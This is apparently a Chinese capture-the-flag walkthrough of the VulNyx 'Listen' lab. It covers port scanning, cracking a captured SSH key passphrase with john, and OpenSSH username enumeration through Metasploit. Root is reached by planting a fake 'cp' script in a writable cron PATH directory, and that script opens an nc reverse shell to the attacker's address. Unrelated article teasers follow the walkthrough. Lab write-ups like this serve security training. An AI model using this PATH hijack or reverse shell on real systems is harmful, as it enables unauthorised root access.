news 2026/4/16 12:52:40

【打靶日记】VulNyx 之 Listen

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【打靶日记】VulNyx 之 Listen

主机发现

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# arp-scan -I eth1 -l192.168.56.151 08:00:27:1b:16:5c PCS Systemtechnik GmbH

主机地址为``

端口扫描

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# nmap -p- 192.168.56.151PORT STATE SERVICE22/tcpopenssh8000/tcpopenhttp-alt
┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# nmap -sT -sC -sV -O -p22,8000 192.168.56.151Starting Nmap7.95(https://nmap.org)at2025-12-1716:35 CST Nmap scan reportfor192.168.56.151 Host is up(0.00081s latency). PORT STATE SERVICE VERSION22/tcpopensshOpenSSH7.7(protocol2.0)|ssh-hostkey:|20480c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d(RSA)|2569b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a(ECDSA)|_25685:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df(ED25519)8000/tcpopenhttp SimpleHTTPServer0.6(Python3.7.3)|_http-title: Site doesn't have a title(text/html).|_http-server-header: SimpleHTTP/0.6 Python/3.7.3 MAC Address: 08:00:27:1B:16:5C(PCS Systemtechnik/Oracle VirtualBox virtual NIC)Warning: OSScan results may be unreliable because we could notfindat least1openand1closed port Device type: general purpose|router Running: Linux4.X|5.X, MikroTik RouterOS7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux4.15-5.19, OpenWrt21.02(Linux5.4), MikroTik RouterOS7.2-7.5(Linux5.6.3)Network Distance:1hop OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.Nmap done:1IP address(1hostup)scannedin22.00seconds

8000端口

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# curl 192.168.56.151:8000You just have to listen toopenthe door...

To abel

抓包

攻击环境抓不到包,把靶机换了个地方抓包

抓到一个私钥

爆破私钥密码

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# ssh2john id > tmp┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# john tmp --wordlist=/rockyou.txtUsing default input encoding: UTF-8 Loaded1passwordhash(SSH, SSH private key[RSA/DSA/EC/OPENSSH32/64])Cost1(KDF/cipher[0=MD5/AES1=MD5/3DES2=Bcrypt/AES])is1forall loaded hashes Cost2(iteration count)is2forall loaded hashes Will run2OpenMP threads Press'q'or Ctrl-C to abort, almost any other keyforstatus idontknow(id)1g0:00:00:00 DONE(2025-12-1716:31)100.0g/s 129600p/s 129600c/s 129600C/s cuties..rangers1 Use the"--show"option to display all of the cracked passwords reliably Session completed.

得到密码**/idontknow/**

获取用户名

"22/tcp open ssh OpenSSH 7.7 (protocol 2.0)"ssh版本有点过低

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# searchsploit OpenSSH 7.7----------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title|Path ----------------------------------------------------------------------------------------------------------------------------------- --------------------------------- OpenSSH2.3<7.7- Username Enumeration|linux/remote/45233.py OpenSSH2.3<7.7- Username Enumeration(PoC)|linux/remote/45210.py OpenSSH<7.7- User Enumeration(2)|linux/remote/45939.py ----------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results

发现存在用户名枚举漏洞

使用msf

msf>search openssh Matching Modules================# Name Disclosure Date Rank Check Description- ---- --------------- ---- ----- -----------0post/windows/manage/forward_pageant.normal No Forward SSH Agent Requests To Remote Pageant1post/windows/manage/install_ssh.normal No Install OpenSSHforWindows2post/multi/gather/ssh_creds.normal No Multi Gather OpenSSH PKI Credentials Collection3auxiliary/scanner/ssh/ssh_enumusers.normal No SSH Username Enumeration4\_ action: Malformed Packet...Use a malformed packet5\_ action: Timing Attack...Use a timing attack6exploit/windows/local/unquoted_service_path2001-10-25 great Yes Windows Unquoted Service Path Privilege Escalation Interact with a module by name or index. For example info6, use6or use exploit/windows/local/unquoted_service_path

配置目标主机与字典

msf auxiliary(scanner/ssh/ssh_enumusers)>setRHOSTS192.168.56.151 RHOSTS=>192.168.56.151 msf auxiliary(scanner/ssh/ssh_enumusers)>setUSER_FILE /usr/share/seclists/Usernames/Names/names.txt USER_FILE=>/usr/share/seclists/Usernames/Names/names.txt
msf auxiliary(scanner/ssh/ssh_enumusers)>run[*]192.168.56.151:22 - SSH - Using malformed packet technique[*]192.168.56.151:22 - SSH - Checkingforfalsepositives[*]192.168.56.151:22 - SSH - Starting scan[+]192.168.56.151:22 - SSH - User'abel'found ^C[*]Caught interrupt from the console...[*]Auxiliary module execution completed msf auxiliary(scanner/ssh/ssh_enumusers)>

找到用户abel

┌──(root㉿xhh)-[~/Desktop/xhh/VluNyx/listen]└─# ssh abel@192.168.56.151 -i idThe authenticity ofhost'192.168.56.151 (192.168.56.151)'can't be established. ED25519 key fingerprint is SHA256:2b+kTRKlx4qeMsfce+AHPgi/ReUzFfLnFbNEPBAg4uk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.151' (ED25519) to the list of known hosts. Enter passphrase for key 'id': Last login: Sat Jun323:19:252023from192.168.1.10 abel@listen:~$iduid=1000(abel)gid=1000(abel)groups=1000(abel)

成功获得abel用户权限

To root

查看定时任务

abel@listen:~$cat/etc/crontab# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/shPATH=/usr/local/sbin:/dev/shm:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed17* * * * rootcd/&&run-parts --report /etc/cron.hourly256* * * roottest-x /usr/sbin/anacron||(cd/&&run-parts --report /etc/cron.daily)476* *7roottest-x /usr/sbin/anacron||(cd/&&run-parts --report /etc/cron.weekly)5261* * roottest-x /usr/sbin/anacron||(cd/&&run-parts --report /etc/cron.monthly)#* * * * * rootcp/var/www/html/index.html /tmp abel@listen:~$

发现会把/var/www/html/index.html 复制到 /tmp 中

其次PATH=/usr/local/sbin:/dev/shm:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

/dev/shm的优先级是在/usr/bin前

abel@listen:/dev/shm$chmod+xcpabel@listen:/dev/shm$catcpnc192.168.56.2478888-e /bin/bash
┌──(root㉿xhh)-[~]└─# nc -lvnp 8888listening on[any]8888...idconnect to[192.168.56.247]from(UNKNOWN)[192.168.56.151]36646uid=0(root)gid=0(root)groups=0(root)

成功获得root权限

user.txt && root.txt

cat/home/abel/user.txt&&cat/root/root.txt 33f3f86a697126c6fe0a39a337ade21a ebe57c4d8c4053199d7f66ec0491da9d
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 9:23:15

基于springboot的健身房预约与学习管理系统

博主介绍&#xff1a;java高级开发&#xff0c;从事互联网行业六年&#xff0c;熟悉各种主流语言&#xff0c;精通java、python、php、爬虫、web开发&#xff0c;已经做了多年的设计程序开发&#xff0c;开发过上千套设计程序&#xff0c;没有什么华丽的语言&#xff0c;只有实…

作者头像 李华
网站建设 2026/4/16 9:23:10

STM32H723 芯片基本配置指南:从新手到专家的进阶之路

引言 作为一名初次接触 STM32H723 芯片的开发者,我在基本配置过程中遇到了不少挑战和困惑。这款高性能的 Cortex-M7 微控制器虽然功能强大,但复杂的配置选项和参数设置确实让人望而生畏。经过一番摸索和实践,我终于掌握了正确的配置方法。今天,我将通过这篇博客,分享我在…

作者头像 李华
网站建设 2026/4/14 10:17:20

探索Comsol中三维结构声子晶体的禁带与传输特性

Comsol 三维结构声子晶体禁带及其传输特性。在材料科学和物理学领域&#xff0c;声子晶体因其独特的声学性质而备受关注。特别是三维结构声子晶体&#xff0c;它在控制声波传播方面展现出巨大的潜力。今天咱们就借助Comsol这个强大的工具&#xff0c;来深入探究三维结构声子晶体…

作者头像 李华
网站建设 2026/4/16 11:01:54

探索 PEM 电解槽三维两相流模拟:基于 Comsol 仿真的奇妙之旅

comsol仿真 PEM电解槽三维两相流模拟&#xff0c;包括电化学&#xff0c;两相流传质&#xff0c;析氢析氧&#xff0c;化学反应热等多物理场耦合&#xff0c;软件comsol&#xff0c;可分析多孔介质传质&#xff0c;析氢析氧过程对电解槽电流密度分布&#xff0c;氢气体积分数…

作者头像 李华
网站建设 2026/4/16 10:52:53

C语言运算符笔记

赋值运算符将不满意的值赋值为自己满意的值&#xff0c;赋值运算符可以连续使用&#xff08;链式赋值&#xff09;。 示例&#xff1a; int a10; int x0; int y20; a x y 1; // 链式赋值 复合赋值符、-、*、/、%、>>、<<、&、|、^单目/双目运算符• 单目运算…

作者头像 李华
网站建设 2026/3/14 9:07:31

Spring AI 当中对应 MCP 的操作

或者在企业级中&#xff0c; 有多个智能应用&#xff0c;想将通用的tools公共化怎么办&#xff1f;可以把tools单独抽取出来&#xff0c; 由应用程序读取外部的tools。 那关键是怎么读呢&#xff1f; 怎么解析呢&#xff1f; 如果每个提供商各用一种规则你能想象有多麻烦&#…

作者头像 李华